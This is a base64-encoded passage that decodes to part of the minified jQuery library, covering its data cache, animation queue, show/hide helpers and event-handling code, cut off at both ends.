I9PT13KG4pKWZvcihzIGluIGk9ITAsbikkKGUsdCxzLG5bc10sITAsbyxhKTtlbHNlIGlmKHZvaWQgMCE9PXImJihpPSEwLG0ocil8fChhPSEwKSxsJiYoYT8odC5jYWxsKGUsciksdD1udWxsKToobD10LHQ9ZnVuY3Rpb24oZSx0LG4pe3JldHVybiBsLmNhbGwoUyhlKSxuKX0pKSx0KSlmb3IoO3M8dTtzKyspdChlW3NdLG4sYT9yOnIuY2FsbChlW3NdLHMsdChlW3NdLG4pKSk7cmV0dXJuIGk/ZTpsP3QuY2FsbChlKTp1P3QoZVswXSxuKTpvfSxfPS9eLW1zLS8sej0vLShbYS16XSkvZztmdW5jdGlvbiBVKGUsdCl7cmV0dXJuIHQudG9VcHBlckNhc2UoKX1mdW5jdGlvbiBYKGUpe3JldHVybiBlLnJlcGxhY2UoXywibXMtIikucmVwbGFjZSh6LFUpfXZhciBWPWZ1bmN0aW9uKGUpe3JldHVybiAxPT09ZS5ub2RlVHlwZXx8OT09PWUubm9kZVR5cGV8fCErZS5ub2RlVHlwZX07ZnVuY3Rpb24gRygpe3RoaXMuZXhwYW5kbz1TLmV4cGFuZG8rRy51aWQrK31HLnVpZD0xLEcucHJvdG90eXBlPXtjYWNoZTpmdW5jdGlvbihlKXt2YXIgdD1lW3RoaXMuZXhwYW5kb107cmV0dXJuIHR8fCh0PXt9LFYoZSkmJihlLm5vZGVUeXBlP2VbdGhpcy5leHBhbmRvXT10Ok9iamVjdC5kZWZpbmVQcm9wZXJ0eShlLHRoaXMuZXhwYW5kbyx7dmFsdWU6dCxjb25maWd1cmFibGU6ITB9KSkpLHR9LHNldDpmdW5jdGlvbihlLHQsbil7dmFyIHIsaT10aGlzLmNhY2hlKGUpO2lmKCJzdHJpbmciPT10eXBlb2YgdClpW1godCldPW47ZWxzZSBmb3IociBpbiB0KWlbWChyKV09dFtyXTtyZXR1cm4gaX0sZ2V0OmZ1bmN0aW9uKGUsdCl7cmV0dXJuIHZvaWQgMD09PXQ/dGhpcy5jYWNoZShlKTplW3RoaXMuZXhwYW5kb10mJmVbdGhpcy5leHBhbmRvXVtYKHQpXX0sYWNjZXNzOmZ1bmN0aW9uKGUsdCxuKXtyZXR1cm4gdm9pZCAwPT09dHx8dCYmInN0cmluZyI9PXR5cGVvZiB0JiZ2b2lkIDA9PT1uP3RoaXMuZ2V0KGUsdCk6KHRoaXMuc2V0KGUsdCxuKSx2b2lkIDAhPT1uP246dCl9LHJlbW92ZTpmdW5jdGlvbihlLHQpe3ZhciBuLHI9ZVt0aGlzLmV4cGFuZG9dO2lmKHZvaWQgMCE9PXIpe2lmKHZvaWQgMCE9PXQpe249KHQ9QXJyYXkuaXNBcnJheSh0KT90Lm1hcChYKToodD1YKHQpKWluIHI/W3RdOnQubWF0Y2goUCl8fFtdKS5sZW5ndGg7d2hpbGUobi0tKWRlbGV0ZSByW3Rbbl1dfSh2b2lkIDA9PT10fHxTLmlzRW1wdHlPYmplY3QocikpJiYoZS5ub2RlVHlwZT9lW3RoaXMuZXhwYW5kb109dm9pZCAwOmRlbGV0ZSBlW3RoaXMuZXhwYW5kb10pfX0saGFzRGF0YTpmdW5jdGlvbihlKXt2YXIgdD1lW3RoaXMuZXhwYW5kb107cmV0dXJuIHZvaWQgMCE9PXQmJiFTLmlzRW1wdHlPYmplY3QodCl9fTt2YXIgWT1uZXcgRyxRPW5ldyBHLEo9L14oPzpce1tcd1xXXSpcfXxcW1tcd1xXXSpcXSkkLyxLPS9bQS1aXS9nO2Z1bmN0aW9uIFooZSx0LG4pe3ZhciByLGk7aWYodm9pZCAwPT09biYmMT09PWUubm9kZVR5cGUpaWYocj0iZGF0YS0iK3QucmVwbGFjZShLLCItJCYiKS50b0xvd2VyQ2FzZSgpLCJzdHJpbmciPT10eXBlb2Yobj1lLmdldEF0dHJpYnV0ZShyKSkpe3RyeXtuPSJ0cnVlIj09PShpPW4pfHwiZmFsc2UiIT09aSYmKCJudWxsIj09PWk/bnVsbDppPT09K2krIiI/K2k6Si50ZXN0KGkpP0pTT04ucGFyc2UoaSk6aSl9Y2F0Y2goZSl7fVEuc2V0KGUsdCxuKX1lbHNlIG49dm9pZCAwO3JldHVybiBufVMuZXh0ZW5kKHtoYXNEYXRhOmZ1bmN0aW9uKGUpe3JldHVybiBRLmhhc0RhdGEoZSl8fFkuaGFzRGF0YShlKX0sZGF0YTpmdW5jdGlvbihlLHQsbil7cmV0dXJuIFEuYWNjZXNzKGUsdCxuKX0scmVtb3ZlRGF0YTpmdW5jdGlvbihlLHQpe1EucmVtb3ZlKGUsdCl9LF9kYXRhOmZ1bmN0aW9uKGUsdCxuKXtyZXR1cm4gWS5hY2Nlc3MoZSx0LG4pfSxfcmVtb3ZlRGF0YTpmdW5jdGlvbihlLHQpe1kucmVtb3ZlKGUsdCl9fSksUy5mbi5leHRlbmQoe2RhdGE6ZnVuY3Rpb24obixlKXt2YXIgdCxyLGksbz10aGlzWzBdLGE9byYmby5hdHRyaWJ1dGVzO2lmKHZvaWQgMD09PW4pe2lmKHRoaXMubGVuZ3RoJiYoaT1RLmdldChvKSwxPT09by5ub2RlVHlwZSYmIVkuZ2V0KG8sImhhc0RhdGFBdHRycyIpKSl7dD1hLmxlbmd0aDt3aGlsZSh0LS0pYVt0XSYmMD09PShyPWFbdF0ubmFtZSkuaW5kZXhPZigiZGF0YS0iKSYmKHI9WChyLnNsaWNlKDUpKSxaKG8scixpW3JdKSk7WS5zZXQobywiaGFzRGF0YUF0dHJzIiwhMCl9cmV0dXJuIGl9cmV0dXJuIm9iamVjdCI9PXR5cGVvZiBuP3RoaXMuZWFjaChmdW5jdGlvbigpe1Euc2V0KHRoaXMsbil9KTokKHRoaXMsZnVuY3Rpb24oZSl7dmFyIHQ7aWYobyYmdm9pZCAwPT09ZSlyZXR1cm4gdm9pZCAwIT09KHQ9US5nZXQobyxuKSk/dDp2b2lkIDAhPT0odD1aKG8sbikpP3Q6dm9pZCAwO3RoaXMuZWFjaChmdW5jdGlvbigpe1Euc2V0KHRoaXMsbixlKX0pfSxudWxsLGUsMTxhcmd1bWVudHMubGVuZ3RoLG51bGwsITApfSxyZW1vdmVEYXRhOmZ1bmN0aW9uKGUpe3JldHVybiB0aGlzLmVhY2goZnVuY3Rpb24oKXtRLnJlbW92ZSh0aGlzLGUpfSl9fSksUy5leHRlbmQoe3F1ZXVlOmZ1bmN0aW9uKGUsdCxuKXt2YXIgcjtpZihlKXJldHVybiB0PSh0fHwiZngiKSsicXVldWUiLHI9WS5nZXQoZSx0KSxuJiYoIXJ8fEFycmF5LmlzQXJyYXkobik/cj1ZLmFjY2VzcyhlLHQsUy5tYWtlQXJyYXkobikpOnIucHVzaChuKSkscnx8W119LGRlcXVldWU6ZnVuY3Rpb24oZSx0KXt0PXR8fCJmeCI7dmFyIG49Uy5xdWV1ZShlLHQpLHI9bi5sZW5ndGgsaT1uLnNoaWZ0KCksbz1TLl9xdWV1ZUhvb2tzKGUsdCk7ImlucHJvZ3Jlc3MiPT09aSYmKGk9bi5zaGlmdCgpLHItLSksaSYmKCJmeCI9PT10JiZuLnVuc2hpZnQoImlucHJvZ3Jlc3MiKSxkZWxldGUgby5zdG9wLGkuY2FsbChlLGZ1bmN0aW9uKCl7Uy5kZXF1ZXVlKGUsdCl9LG8pKSwhciYmbyYmby5lbXB0eS5maXJlKCl9LF9xdWV1ZUhvb2tzOmZ1bmN0aW9uKGUsdCl7dmFyIG49dCsicXVldWVIb29rcyI7cmV0dXJuIFkuZ2V0KGUsbil8fFkuYWNjZXNzKGUsbix7ZW1wdHk6Uy5DYWxsYmFja3MoIm9uY2UgbWVtb3J5IikuYWRkKGZ1bmN0aW9uKCl7WS5yZW1vdmUoZSxbdCsicXVldWUiLG5dKX0pfSl9fSksUy5mbi5leHRlbmQoe3F1ZXVlOmZ1bmN0aW9uKHQsbil7dmFyIGU9MjtyZXR1cm4ic3RyaW5nIiE9dHlwZW9mIHQmJihuPXQsdD0iZngiLGUtLSksYXJndW1lbnRzLmxlbmd0aDxlP1MucXVldWUodGhpc1swXSx0KTp2b2lkIDA9PT1uP3RoaXM6dGhpcy5lYWNoKGZ1bmN0aW9uKCl7dmFyIGU9Uy5xdWV1ZSh0aGlzLHQsbik7Uy5fcXVldWVIb29rcyh0aGlzLHQpLCJmeCI9PT10JiYiaW5wcm9ncmVzcyIhPT1lWzBdJiZTLmRlcXVldWUodGhpcyx0KX0pfSxkZXF1ZXVlOmZ1bmN0aW9uKGUpe3JldHVybiB0aGlzLmVhY2goZnVuY3Rpb24oKXtTLmRlcXVldWUodGhpcyxlKX0pfSxjbGVhclF1ZXVlOmZ1bmN0aW9uKGUpe3JldHVybiB0aGlzLnF1ZXVlKGV8fCJmeCIsW10pfSxwcm9taXNlOmZ1bmN0aW9uKGUsdCl7dmFyIG4scj0xLGk9Uy5EZWZlcnJlZCgpLG89dGhpcyxhPXRoaXMubGVuZ3RoLHM9ZnVuY3Rpb24oKXstLXJ8fGkucmVzb2x2ZVdpdGgobyxbb10pfTsic3RyaW5nIiE9dHlwZW9mIGUmJih0PWUsZT12b2lkIDApLGU9ZXx8ImZ4Ijt3aGlsZShhLS0pKG49WS5nZXQob1thXSxlKyJxdWV1ZUhvb2tzIikpJiZuLmVtcHR5JiYocisrLG4uZW1wdHkuYWRkKHMpKTtyZXR1cm4gcygpLGkucHJvbWlzZSh0KX19KTt2YXIgZWU9L1srLV0/KD86XGQqXC58KVxkKyg/OltlRV1bKy1dP1xkK3wpLy5zb3VyY2UsdGU9bmV3IFJlZ0V4cCgiXig/OihbKy1dKT18KSgiK2VlKyIpKFthLXolXSopJCIsImkiKSxuZT1bIlRvcCIsIlJpZ2h0IiwiQm90dG9tIiwiTGVmdCJdLHJlPUUuZG9jdW1lbnRFbGVtZW50LGllPWZ1bmN0aW9uKGUpe3JldHVybiBTLmNvbnRhaW5zKGUub3duZXJEb2N1bWVudCxlKX0sb2U9e2NvbXBvc2VkOiEwfTtyZS5nZXRSb290Tm9kZSYmKGllPWZ1bmN0aW9uKGUpe3JldHVybiBTLmNvbnRhaW5zKGUub3duZXJEb2N1bWVudCxlKXx8ZS5nZXRSb290Tm9kZShvZSk9PT1lLm93bmVyRG9jdW1lbnR9KTt2YXIgYWU9ZnVuY3Rpb24oZSx0KXtyZXR1cm4ibm9uZSI9PT0oZT10fHxlKS5zdHlsZS5kaXNwbGF5fHwiIj09PWUuc3R5bGUuZGlzcGxheSYmaWUoZSkmJiJub25lIj09PVMuY3NzKGUsImRpc3BsYXkiKX07ZnVuY3Rpb24gc2UoZSx0LG4scil7dmFyIGksbyxhPTIwLHM9cj9mdW5jdGlvbigpe3JldHVybiByLmN1cigpfTpmdW5jdGlvbigpe3JldHVybiBTLmNzcyhlLHQsIiIpfSx1PXMoKSxsPW4mJm5bM118fChTLmNzc051bWJlclt0XT8iIjoicHgiKSxjPWUubm9kZVR5cGUmJihTLmNzc051bWJlclt0XXx8InB4IiE9PWwmJit1KSYmdGUuZXhlYyhTLmNzcyhlLHQpKTtpZihjJiZjWzNdIT09bCl7dS89MixsPWx8fGNbM10sYz0rdXx8MTt3aGlsZShhLS0pUy5zdHlsZShlLHQsYytsKSwoMS1vKSooMS0obz1zKCkvdXx8LjUpKTw9MCYmKGE9MCksYy89bztjKj0yLFMuc3R5bGUoZSx0LGMrbCksbj1ufHxbXX1yZXR1cm4gbiYmKGM9K2N8fCt1fHwwLGk9blsxXT9jKyhuWzFdKzEpKm5bMl06K25bMl0sciYmKHIudW5pdD1sLHIuc3RhcnQ9YyxyLmVuZD1pKSksaX12YXIgdWU9e307ZnVuY3Rpb24gbGUoZSx0KXtmb3IodmFyIG4scixpLG8sYSxzLHUsbD1bXSxjPTAsZj1lLmxlbmd0aDtjPGY7YysrKShyPWVbY10pLnN0eWxlJiYobj1yLnN0eWxlLmRpc3BsYXksdD8oIm5vbmUiPT09biYmKGxbY109WS5nZXQociwiZGlzcGxheSIpfHxudWxsLGxbY118fChyLnN0eWxlLmRpc3BsYXk9IiIpKSwiIj09PXIuc3R5bGUuZGlzcGxheSYmYWUocikmJihsW2NdPSh1PWE9bz12b2lkIDAsYT0oaT1yKS5vd25lckRvY3VtZW50LHM9aS5ub2RlTmFtZSwodT11ZVtzXSl8fChvPWEuYm9keS5hcHBlbmRDaGlsZChhLmNyZWF0ZUVsZW1lbnQocykpLHU9Uy5jc3MobywiZGlzcGxheSIpLG8ucGFyZW50Tm9kZS5yZW1vdmVDaGlsZChvKSwibm9uZSI9PT11JiYodT0iYmxvY2siKSx1ZVtzXT11KSkpKToibm9uZSIhPT1uJiYobFtjXT0ibm9uZSIsWS5zZXQociwiZGlzcGxheSIsbikpKTtmb3IoYz0wO2M8ZjtjKyspbnVsbCE9bFtjXSYmKGVbY10uc3R5bGUuZGlzcGxheT1sW2NdKTtyZXR1cm4gZX1TLmZuLmV4dGVuZCh7c2hvdzpmdW5jdGlvbigpe3JldHVybiBsZSh0aGlzLCEwKX0saGlkZTpmdW5jdGlvbigpe3JldHVybiBsZSh0aGlzKX0sdG9nZ2xlOmZ1bmN0aW9uKGUpe3JldHVybiJib29sZWFuIj09dHlwZW9mIGU/ZT90aGlzLnNob3coKTp0aGlzLmhpZGUoKTp0aGlzLmVhY2goZnVuY3Rpb24oKXthZSh0aGlzKT9TKHRoaXMpLnNob3coKTpTKHRoaXMpLmhpZGUoKX0pfX0pO3ZhciBjZSxmZSxwZT0vXig/OmNoZWNrYm94fHJhZGlvKSQvaSxkZT0vPChbYS16XVteXC9cMD5ceDIwXHRcclxuXGZdKikvaSxoZT0vXiR8Xm1vZHVsZSR8XC8oPzpqYXZhfGVjbWEpc2NyaXB0L2k7Y2U9RS5jcmVhdGVEb2N1bWVudEZyYWdtZW50KCkuYXBwZW5kQ2hpbGQoRS5jcmVhdGVFbGVtZW50KCJkaXYiKSksKGZlPUUuY3JlYXRlRWxlbWVudCgiaW5wdXQiKSkuc2V0QXR0cmlidXRlKCJ0eXBlIiwicmFkaW8iKSxmZS5zZXRBdHRyaWJ1dGUoImNoZWNrZWQiLCJjaGVja2VkIiksZmUuc2V0QXR0cmlidXRlKCJuYW1lIiwidCIpLGNlLmFwcGVuZENoaWxkKGZlKSx5LmNoZWNrQ2xvbmU9Y2UuY2xvbmVOb2RlKCEwKS5jbG9uZU5vZGUoITApLmxhc3RDaGlsZC5jaGVja2VkLGNlLmlubmVySFRNTD0iPHRleHRhcmVhPng8L3RleHRhcmVhPiIseS5ub0Nsb25lQ2hlY2tlZD0hIWNlLmNsb25lTm9kZSghMCkubGFzdENoaWxkLmRlZmF1bHRWYWx1ZSxjZS5pbm5lckhUTUw9IjxvcHRpb24+PC9vcHRpb24+Iix5Lm9wdGlvbj0hIWNlLmxhc3RDaGlsZDt2YXIgZ2U9e3RoZWFkOlsxLCI8dGFibGU+IiwiPC90YWJsZT4iXSxjb2w6WzIsIjx0YWJsZT48Y29sZ3JvdXA+IiwiPC9jb2xncm91cD48L3RhYmxlPiJdLHRyOlsyLCI8dGFibGU+PHRib2R5PiIsIjwvdGJvZHk+PC90YWJsZT4iXSx0ZDpbMywiPHRhYmxlPjx0Ym9keT48dHI+IiwiPC90cj48L3Rib2R5PjwvdGFibGU+Il0sX2RlZmF1bHQ6WzAsIiIsIiJdfTtmdW5jdGlvbiB2ZShlLHQpe3ZhciBuO3JldHVybiBuPSJ1bmRlZmluZWQiIT10eXBlb2YgZS5nZXRFbGVtZW50c0J5VGFnTmFtZT9lLmdldEVsZW1lbnRzQnlUYWdOYW1lKHR8fCIqIik6InVuZGVmaW5lZCIhPXR5cGVvZiBlLnF1ZXJ5U2VsZWN0b3JBbGw/ZS5xdWVyeVNlbGVjdG9yQWxsKHR8fCIqIik6W10sdm9pZCAwPT09dHx8dCYmQShlLHQpP1MubWVyZ2UoW2VdLG4pOm59ZnVuY3Rpb24geWUoZSx0KXtmb3IodmFyIG49MCxyPWUubGVuZ3RoO248cjtuKyspWS5zZXQoZVtuXSwiZ2xvYmFsRXZhbCIsIXR8fFkuZ2V0KHRbbl0sImdsb2JhbEV2YWwiKSl9Z2UudGJvZHk9Z2UudGZvb3Q9Z2UuY29sZ3JvdXA9Z2UuY2FwdGlvbj1nZS50aGVhZCxnZS50aD1nZS50ZCx5Lm9wdGlvbnx8KGdlLm9wdGdyb3VwPWdlLm9wdGlvbj1bMSwiPHNlbGVjdCBtdWx0aXBsZT0nbXVsdGlwbGUnPiIsIjwvc2VsZWN0PiJdKTt2YXIgbWU9Lzx8JiM/XHcrOy87ZnVuY3Rpb24geGUoZSx0LG4scixpKXtmb3IodmFyIG8sYSxzLHUsbCxjLGY9dC5jcmVhdGVEb2N1bWVudEZyYWdtZW50KCkscD1bXSxkPTAsaD1lLmxlbmd0aDtkPGg7ZCsrKWlmKChvPWVbZF0pfHwwPT09bylpZigib2JqZWN0Ij09PXcobykpUy5tZXJnZShwLG8ubm9kZVR5cGU/W29dOm8pO2Vsc2UgaWYobWUudGVzdChvKSl7YT1hfHxmLmFwcGVuZENoaWxkKHQuY3JlYXRlRWxlbWVudCgiZGl2IikpLHM9KGRlLmV4ZWMobyl8fFsiIiwiIl0pWzFdLnRvTG93ZXJDYXNlKCksdT1nZVtzXXx8Z2UuX2RlZmF1bHQsYS5pbm5lckhUTUw9dVsxXStTLmh0bWxQcmVmaWx0ZXIobykrdVsyXSxjPXVbMF07d2hpbGUoYy0tKWE9YS5sYXN0Q2hpbGQ7Uy5tZXJnZShwLGEuY2hpbGROb2RlcyksKGE9Zi5maXJzdENoaWxkKS50ZXh0Q29udGVudD0iIn1lbHNlIHAucHVzaCh0LmNyZWF0ZVRleHROb2RlKG8pKTtmLnRleHRDb250ZW50PSIiLGQ9MDt3aGlsZShvPXBbZCsrXSlpZihyJiYtMTxTLmluQXJyYXkobyxyKSlpJiZpLnB1c2gobyk7ZWxzZSBpZihsPWllKG8pLGE9dmUoZi5hcHBlbmRDaGlsZChvKSwic2NyaXB0IiksbCYmeWUoYSksbil7Yz0wO3doaWxlKG89YVtjKytdKWhlLnRlc3Qoby50eXBlfHwiIikmJm4ucHVzaChvKX1yZXR1cm4gZn12YXIgYmU9L15rZXkvLHdlPS9eKD86bW91c2V8cG9pbnRlcnxjb250ZXh0bWVudXxkcmFnfGRyb3ApfGNsaWNrLyxUZT0vXihbXi5dKikoPzpcLiguKyl8KS87ZnVuY3Rpb24gQ2UoKXtyZXR1cm4hMH1mdW5jdGlvbiBFZSgpe3JldHVybiExfWZ1bmN0aW9uIFNlKGUsdCl7cmV0dXJuIGU9PT1mdW5jdGlvbigpe3RyeXtyZXR1cm4gRS5hY3RpdmVFbGVtZW50fWNhdGNoKGUpe319KCk9PSgiZm9jdXMiPT09dCl9ZnVuY3Rpb24ga2UoZSx0LG4scixpLG8pe3ZhciBhLHM7aWYoIm9iamVjdCI9PXR5cGVvZiB0KXtmb3IocyBpbiJzdHJpbmciIT10eXBlb2YgbiYmKHI9cnx8bixuPXZvaWQgMCksdClrZShlLHMsbixyLHRbc10sbyk7cmV0dXJuIGV9aWYobnVsbD09ciYmbnVsbD09aT8oaT1uLHI9bj12b2lkIDApOm51bGw9PWkmJigic3RyaW5nIj09dHlwZW9mIG4/KGk9cixyPXZvaWQgMCk6KGk9cixyPW4sbj12b2lkIDApKSwhMT09PWkpaT1FZTtlbHNlIGlmKCFpKXJldHVybiBlO3JldHVybiAxPT09byYmKGE9aSwoaT1mdW5jdGlvbihlKXtyZXR1cm4gUygpLm9mZihlKSxhLmFwcGx5KHRoaXMsYXJndW1lbnRzKX0pLmd1aWQ9YS5ndWlkfHwoYS5ndWlkPVMuZ3VpZCsrKSksZS5lYWNoKGZ1bmN0aW9uKCl7Uy5ldmVudC5hZGQodGhpcyx0LGkscixuKX0pfWZ1bmN0aW9uIEFlKGUsaSxvKXtvPyhZLnNldChlLGksITEpLFMuZXZlbnQuYWRkKGUsaSx7bmFtZXNwYWNlOiExLGhhbmRsZXI6ZnVuY3Rpb24oZSl7dmFyIHQsbixyPVkuZ2V0KHRoaXMsaSk7aWYoMSZlLmlzVHJpZ2dlciYmdGhpc1tpXSl7aWYoci5sZW5ndGgpKFMuZXZlbnQuc3BlY2lhbFtpXXx8e30pLmRlbGVnYXRlVHlwZSYmZS5zdG9wUHJvcGFnYXRpb24oKTtlbHNlIGlmKHI9cy5jYWxsKGFyZ3VtZW50cyksWS5zZXQodGhpcyxpLHIpLHQ9byh0aGlzLGkpLHRoaXNbaV0oKSxyIT09KG49WS5nZXQodGhpcyxpKSl8fHQ/WS5zZXQodGhpcyxpLCExKTpuPXt9LHIhPT1uKXJldHVybiBlLnN0b3BJbW1lZGlhdGVQcm9wYWdhdGlvbigpLGUucHJldmVudERlZmF1bHQoKSxuLnZhbHVlfWVsc2Ugci5sZW5ndGgmJihZLnNldCh0aGlzLGkse3ZhbHVlOlMuZXZlbnQudHJpZ2dlcihTLmV4dGVuZChyWzBdLFMuRXZlbnQucHJvdG90eXBlKSxyLnNsaWNlKDEpLHRoaXMpfSksZS5zdG9wSW1tZWRpYXRlUHJvcGFnYXRpb24oKSl9fSkpOnZvaWQgMD09PVkuZ2V0KGUsaSkmJlMuZXZlbnQuYWRkKGUsaSxDZSl9Uy5ldmVudD17Z2xvYmFsOnt9LGFkZDpmdW5jdGlvbih0LGUsbixyLGkpe3ZhciBvLGEscyx1LGwsYyxmLHAsZCxoLGcsdj1ZLmdldCh0KTtpZihWKHQpKXtuLmhhbmRsZXImJihuPShvPW4pLmhhbmRsZXIsaT1vLnNlbGVjdG9yKSxpJiZTLmZpbmQubWF0Y2hlc1NlbGVjdG9yKHJlLGkpLG4uZ3VpZHx8KG4uZ3VpZD1TLmd1aWQrKyksKHU9di5ldmVudHMpfHwodT12LmV2ZW50cz1PYmplY3QuY3JlYXRlKG51bGwpKSwoYT12LmhhbmRsZSl8fChhPXYuaGFuZGxlPWZ1bmN0aW9uKGUpe3JldHVybiJ1bmRlZmluZWQiIT10eXBlb2YgUyYmUy5ldmVudC50cmlnZ2VyZWQhPT1lLnR5cGU/Uy5ldmVudC5kaXNwYXRjaC5hcHBseSh0LGFyZ3VtZW50cyk6dm9pZCAwfSksbD0oZT0oZXx8IiIpLm1hdGNoKFApfHxbIiJdKS5sZW5ndGg7d2hpbGUobC0tKWQ9Zz0ocz1UZS5leGVjKGVbbF0pfHxbXSlbMV0saD0oc1syXXx8IiIpLnNwbGl0KCIuIikuc29ydCgpLGQmJihmPVMuZXZlbnQuc3BlY2lhbFtkXXx8e30sZD0oaT9mLmRlbGVnYXRlVHlwZTpmLmJpbmRUeXBlKXx8ZCxmPVMuZXZlbnQuc3BlY2lhbFtkXXx8e30sYz1TLmV4dGVuZCh7dHlwZTpkLG9yaWdUeXBlOmcsZGF0YTpyLGhhbmRsZXI6bixndWlkOm4uZ3VpZCxzZWxlY3RvcjppLG5lZWRzQ29udGV4dDppJiZTLmV4cHIubWF0Y2gubmVlZHNDb250ZXh0LnRlc3QoaSksbmFtZXNwYWNlOmguam9pbigiLiIpfSxvKSwocD11W2RdKXx8KChwPXVbZF09W10pLmRlbGVnYXRlQ291bnQ9MCxmLnNldHVwJiYhMSE9PWYuc2V0dXAuY2FsbCh0LHIsaCxhKXx8dC5hZGRFdmVudExpc3RlbmVyJiZ0LmFkZEV2ZW50TGlzdGVuZXIoZCxhKSksZi5hZGQmJihmLmFkZC5jYWxsKHQsYyksYy5oYW5kbGVyLmd1aWR8fChjLmhhbmRsZXIuZ3VpZD1uLmd1aWQpKSxpP3Auc3BsaWNlKHAuZGVsZWdhdGVDb3VudCsrLDAsYyk6cC5wdXNoKGMpLFMuZXZlbnQuZ2xvYmFsW2RdPSEwKX19LHJlbW92ZTpmdW5jdGlvbihlLHQsbixyLGkpe3ZhciBvLGEscyx1LGwsYyxmLHAsZCxoLGcsdj1ZLmhhc0RhdGEoZSkmJlkuZ2V0KGUpO2lmKHYmJih1PXYuZXZlbnRzKSl7bD0odD0odHx8IiIpLm1hdGNoKFApfHxbIiJdKS5sZW5ndGg7d2hpbGUobC0tKWlmKGQ9Zz0ocz1UZS5leGVjKHRbbF0pfHxbXSlbMV0saD0oc1syXXx8IiIpLnNwbGl0KCIuIikuc29ydCgpLGQpe2Y9Uy5ldmVudC5zcGVjaWFsW2RdfHx7fSxwPXVbZD0ocj9mLmRlbGVnYXRlVHlwZTpmLmJpbmRUeXBlKXx8ZF18fFtdLHM9c1syXSYmbmV3IFJlZ0V4cCgiKF58XFwuKSIraC5qb2luKCJcXC4oPzouKlxcLnwpIikrIihcXC58JCkiKSxhPW89cC5sZW5ndGg7d2hpbGUoby0tKWM9cFtvXSwhaSYmZyE9PWMub3JpZ1R5cGV8fG4mJm4uZ3VpZCE9PWMuZ3VpZHx8cyYmIXMudGVzdChjLm5hbWVzcGFjZSl8fHImJnIhPT1jLnNlbGVjdG9yJiYoIioqIiE9PXJ8fCFjLnNlbGVjdG9yKXx8KHAuc3BsaWNlKG8sMSksYy5zZWxlY3RvciYmcC5kZWxlZ2F0ZUNvdW50LS0sZi5yZW1vdmUmJmYucmVtb3ZlLmNhbGwoZSxjKSk7YSYmIXAubGVuZ3RoJiYoZi50ZWFyZG93biYmITEhPT1mLnRlYXJkb3duLmNhbGwoZSxoLHYuaGFuZGxlKXx8Uy5yZW1vdmVFdmVudChlLGQsdi5oYW5kbGUpLGRlbGV0ZSB1W2RdKX1lbHNlIGZvcihkIGluIHUpUy5ldmVudC5yZW1vdmUoZSxkK3RbbF0sbixyLCEwKTtTLmlzRW1wdHlPYmplY3QodSkmJlkucmVtb3ZlKGUsImhhbmRsZSBldmVudHMiKX19LGRpc3BhdGNoOmZ1bmN0aW9uKGUpe3ZhciB0LG4scixpLG8sYSxzPW5ldyBBcnJheShhcmd1bWVudHMubGVuZ3RoKSx1PVMuZXZlbnQuZml4KGUpLGw9KFkuZ2V0KHRoaXMsImV2ZW50cyIpfHxPYmplY3QuY3JlYXRlKG51bGwpKVt1LnR5cGVdfHxbXSxjPVMuZXZlbnQuc3BlY2lhbFt1LnR5cGVdfHx7fTtmb3Ioc1swXT11LHQ9MTt0PGFyZ3VtZW50cy5sZW5ndGg7dCsrKXNbdF09YXJndW1lbnRzW3RdO2lmKHUuZGVsZWdhdGVUYXJnZXQ9dGhpcywhYy5wcmVEaXNwYXRjaHx8ITEhPT1jLnByZURpc3BhdGNoLmNhbGwodGhpcyx1KSl7YT1TLmV2ZW50LmhhbmRsZXJzLmNhbGwodGhpcyx1LGwpLHQ9MDt3aGlsZSgoaT1hW3QrK10pJiYhdS5pc1Byb3BhZ2F0aW9uU3RvcHBlZCgpKXt1LmN1cnJlbnRUYXJnZXQ9aS5lbGVtLG49MDt3aGlsZSgobz1pLmhhbmRsZXJzW24rK10pJiYhdS5pc0ltbWVkaWF0ZVByb3BhZ2F0aW9uU3RvcHBlZCgpKXUucm5hbWVzcGFjZSYmITEhPT1vLm5hbWVzcGFjZSYmIXUucm5hbWVzcGFjZS50ZXN0KG8ubmFtZXNwYWNlKXx8KHUuaGFuZGxlT2JqPW8sdS5kYXRhPW8uZGF0YSx2b2lkIDAhPT0ocj0oKFMuZXZlbnQuc3BlY2lhbFtvLm9yaWdUeXBlXXx8e30pLmhhbmRsZXx8by5oYW5kbGVyKS5hcHBseShpLmVsZW0scykpJiYhMT09PSh1LnJlc3VsdD1yKSYmKHUucHJldmVudERlZmF1bHQoKSx1LnN0b3BQcm9wYWdhdGlvbigpKSl9cmV0dXJuIGMucG9zdERpc3BhdGNoJiZjLnBvc3REaXNwYXRjaC5jYWxsKHRoaXMsdSksdS5yZXN1bHR9fSxoYW5kbGVyczpmdW5jdGlvbihlLHQpe3ZhciBuLHIsaSxvLGEscz1bXSx1PXQuZGVsZWdhdGVDb3VudCxsPWUudGFyZ2V0O2lmKHUmJmwubm9kZVR5cGUmJiEoImNsaWNrIj09PWUudHlwZSYmMTw9ZS5idXR0b24pKWZvcig7bCE9PXRoaXM7bD1sLnBhcmVudE5vZGV8fHRoaXMpaWYoMT09PWwubm9kZVR5cGUmJigiY2xpY2siIT09ZS50eXBlfHwhMCE9PWwuZGlzYWJsZWQpKXtmb3Iobz1bXSxhPXt9LG49MDtuPHU7bisrKXZvaWQgMD09PWFbaT0ocj10W25dKS5zZWxlY3RvcisiICJdJiYoYVtpXT1yLm5lZWRzQ29udGV4dD8tMTxTKGksdGhpcykuaW5kZXgobCk6Uy5maW5kKGksdGhpcyxudWxsLFtsXSkubGVuZ3RoKSxhW2ldJiZvLnB1c2gocik7by5sZW5ndGgmJnMucHVzaCh7ZWxlbTpsLGhhbmRsZXJzOm99KX1yZXR1cm4gbD10aGlzLHU8dC5sZW5ndGgmJnMucHVzaCh7ZWxlbTpsLGhhbmRsZXJzOnQuc2xpY2UodSl9KSxzfSxhZGRQcm9wOmZ1bmN0aW9uKHQsZSl7T2JqZWN0LmRlZmluZVByb3BlcnR5KFMuRXZlbnQucHJvdG90eXBlLHQse2VudW1lcmFibGU6ITAsY29uZmlndXJhYmxlOiEwLGdldDptKGUpP2Z1bmN0aW9uKCl7aWYodGhpcy5vcmlnaW5hbEV2ZW50KXJldHVybiBlKHRoaXMub3JpZ2luYWxFdmVudCl9OmZ1bmN0aW9uKCl7aWYodGhpcy5vcmlnaW5hbEV2ZW50KXJldHVybiB0aGlzLm9yaWdpbmFsRXZlbnRbdF19LHNldDpmdW5jdGlvbihlKXtPYmplY3QuZGVmaW5lUHJvcGVydHkodGhpcyx0LHtlbnVtZXJhYmxlOiEwLGNvbmZpZ3VyYWJsZTohMCx3cml0YWJsZTohMCx2YWx1ZTplfSl9fSl9LGZpeDpmdW5jdGlvbihlKXtyZXR1cm4gZVtTLmV4cGFu